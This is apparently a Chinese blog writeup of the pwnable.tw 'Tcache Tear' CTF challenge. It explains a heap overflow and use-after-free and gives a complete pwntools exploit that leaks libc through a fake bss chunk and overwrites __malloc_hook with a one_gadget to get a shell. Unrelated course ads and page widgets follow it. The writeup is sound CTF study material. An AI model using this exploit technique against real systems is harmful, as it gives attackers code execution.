pwnable.tw Tcache Tear writeup

程序逻辑分析:
在这里插入图片描述
1.malloc操作在输入数据时存在堆溢出
2.free操作没有将指针标量置0, 存在UAF漏洞
3.info操作输出bss段地址0x602060 处的数据

漏洞点:
在这里插入图片描述
free后ptr变量没有置为零, 所以存在UAF漏洞
在这里插入图片描述
在malloc chunk时, 输入数据的函数的参数为无符号整形, 如果size - 16 小于零的话经过类型转换就是一个非常大的数, 造成了溢出

漏洞利用:
检查程序保护:
在这里插入图片描述

思路:
首先第一步就是泄露libc地址, 但是本题唯一输出数据的地方就是info函数中的write函数, 输出位于bss段的前面输入的name的数据, 并不会输出堆中的数据, 所以我第一反应是利用IO_FILE结构体泄露libc地址, 但是在docker上关了aslr 进行调试, 一番折腾后在本地getshell了, 但是开启aslr的时候发现要猜的位数不止一位, 得猜三位, 这概率就是1/4096, 然后果断放弃了这种想法…

正解:
虽然info正常操作无法输出堆中的数据, 但是可以在bss段中伪造chunk, 再free掉, 使这个chunk进入unsortedbin中, 这样就可以泄露libc地址了

具体操作:
由于本题libc的版本是2.27, 存在tcache bin, tcache bin相较fastbin 更好利用, 不存在size检查和double free检查

1.malloc 一个size为0x20 的chunk0, free 两次
那么形成的链表就是
&chunk0 -> &chunk0

2.malloc 一个size为0x20的chunk0, 将chunk0的next addr布置为bss段的地址, 再malloc两次即可将chunk分配到bss段中

3.free掉在bss段中布置的fake chunk, 使其进入unsortedbin中, 之后利用write即可泄露libc地址

4.泄露libc地址后接下来就是类似的操作利用double free来覆写malloc_hook 为one_gadget 来getshell

EXP:

from pwn import *

context(arch='amd64', os='linux', log_level='debug')
debug = 1
d = 1

if debug == 0:
	p = process("./tcache_tear")
	if d == 1:
            context.terminal = ['tmux', 'splitw', '-h'] 
    	    gdb.attach(p)
else:
	p = remote("chall.pwnable.tw", 10207)

def add(size, data):
	p.sendlineafter("Your choice :", str(1))
	p.sendlineafter("Size:", str(size))
	p.sendafter("Data:", data)

def free():
	p.sendlineafter("Your choice :", str(2))

def leak():
	p.sendlineafter("Your choice :", str(3))

bss = 0x602060

p.sendafter("Name:", '\n')

add(10, '\n')

free()

free()

add(0x18, p64(bss))

add(10, '\n')

offset = 0x602088 - 0x602060
payload = p64(0) + p64(0x501)
payload += '\x00'*(offset- 0x10) + p64(bss + 0x10) + '\x00'*(0x4f8 - offset + 0x10 - 8) + p64(0x21)
payload += '\x00'*0x18 + p64(0x21)
add(10, payload)

free()

leak()

libc = ELF("tt_libc.so")

p.recvuntil(p64(0x501))
libc_addr = u64(p.recv(8))
libc_base = libc_addr - (0x7fe1451b8ca0 - 0x7fe144dcd000)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
execve = libc_base + 0x10a38c

log.info("libc_addr -> " + hex(libc_addr))
log.info("libc_base -> " + hex(libc_base))
log.info("malloc_hook -> " + hex(malloc_hook))
log.info("execve -> " + hex(execve))
log.info("realloc -> " + hex(realloc))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
    rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
    [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
    [rsp+0x70] == NULL
'''

add(0x68, '\n')

free()

free()

add(0x68, p64(malloc_hook - 11))

add(0x68, '\n')

payload = '\x00'*(11 - 8) + p64(execve) + p64(realloc + 4)
add(0x68, payload)

p.sendlineafter("Your choice :", str(1))
p.sendlineafter("Size:", str(1))

p.interactive()

结果:
在这里插入图片描述

-------分割线--------------------------

虽然利用IO_2_1_stdout_失败了, 但是重新写一遍加深印象还是不错的…

大体利用思路:
一开始没有注意到程序开了pie,所以没想到在bss段中伪造chunk

通过溢出修改chunk的xize, 使其符合unsortedbin中的大小, 之后free掉, 然后通过分割unsortedbin使得处于tcache bin中大小为0x71的chunk的fd, bk指针指向main_arena, 之后再通过溢出修改fd指针的低两个字节来使其指向IO_2_1_stdout_ 结构体附近的fake chunk, 之后就是malloc chunk来改写IO_2_1_stdout_ 的结构
在这里插入图片描述
让我奇怪的是本来IO_2_1_stdout_ 的地址与main_arena的libc地址的高六个字节应该是相等的…, 但是libc-2.27 中的低位第三个字节的低4位与libc地址的不相等, 而且是刚好大于一, 到这里想了挺久,束手无策…
这里在libc-2.23 中是相等的,或许libc-2.27这种利用方法不适用,又或许我太菜了…

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
本课程详细讲解了以下内容:    1.jsp环境搭建及入门、虚拟路径和虚拟主机、JSP执行流程    2.使用Eclipse快速开发JSP、编码问题、JSP页面元素以及request对象、使用request对象实现注册示例    3.请求方式的编码问题、response、请求转发和重定向、cookie、session执行机制、session共享问题     4.session与cookie问题及application、cookie补充说明及四种范围对象作用域     5.JDBC原理及使用Statement访问数据库、使用JDBC切换数据库以及PreparedStatement的使用、Statement与PreparedStatement的区别     6.JDBC调用存储过程和存储函数、JDBC处理大文本CLOB及二进制BLOB类型数据     7.JSP访问数据库、JavaBean(封装数据和封装业务逻辑)     8.MVC模式与Servlet执行流程、Servlet25与Servlet30的使用、ServletAPI详解与源码分析     9.MVC案例、三层架构详解、乱码问题以及三层代码流程解析、完善Service和Dao、完善View、优化用户体验、优化三层(加入接口和DBUtil)    1 0.Web调试及bug修复、分页SQL(Oracle、MySQL、SQLSERVER)     11.分页业务逻辑层和数据访问层Service、Dao、分页表示层Jsp、Servlet     12.文件上传及注意问题、控制文件上传类型和大小、下载、各浏览器下载乱码问题     13.EL表达式语法、点操作符和括号操作符、EL运算、隐式对象、JSTL基础及set、out、remove     14.过滤器、过滤器通配符、过滤器链、监听器     15.session绑定解绑、钝化活化     16.以及Ajax的各种应用     17. Idea环境下的Java Web开发

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值